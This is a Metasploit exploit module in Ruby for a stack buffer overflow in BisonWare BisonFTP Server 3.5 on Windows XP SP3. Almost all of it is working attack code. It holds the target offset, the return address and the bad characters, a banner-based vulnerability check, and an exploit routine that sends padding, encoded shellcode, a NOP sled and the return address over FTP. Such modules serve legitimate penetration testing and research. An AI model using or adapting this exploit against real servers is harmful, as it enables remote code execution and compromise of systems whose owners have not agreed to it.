BisonWare BisonFTP Server 3.5 Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BisonWare BisonFTP Server Buffer Overflow',  
'Description' => %q{  
BisonWare BisonFTP Server 3.5 is prone to an overflow condition.  
This module exploits a buffer overflow vulnerability in the said  
application.  
},  
'Platform' => 'win',  
'Author' =>  
[  
'localh0t', # initial discovery  
'veerendragg @ SecPod', # initial msf  
'Jay Turla' # msf  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '1999-1510'],  
[ 'BID', '49109'],  
[ 'EDB', '17649'],  
[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'VERBOSE' => true  
},  
'Payload' =>  
{  
'Space' => 310,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
[ 'Bisonware FTP Server / Windows XP SP3 EN',  
{  
'Ret' => 0x0040333f,  
'Offset' => 1028,  
'Nops' => 404  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 07 2011'))  
end  
  
def check  
connect_login  
disconnect  
if /BisonWare BisonFTP server product V3\.5/i === banner  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
connect  
print_status('Triggering the prompt for an unregistered product')  
sock.put('')  
print_status('Disconnecting...')  
disconnect  
  
print_status('Connecting for the second time to deliver our payload...')  
connect #connect for the second time  
  
buf = rand_text_alpha(target['Offset'])  
buf << payload.encoded  
buf << make_nops( (target['Nops']) - payload.encoded.length)  
buf << [target.ret].pack('V')  
print_status('Sending payload...')  
  
sock.put(buf)  
handler  
disconnect  
end  
end  
`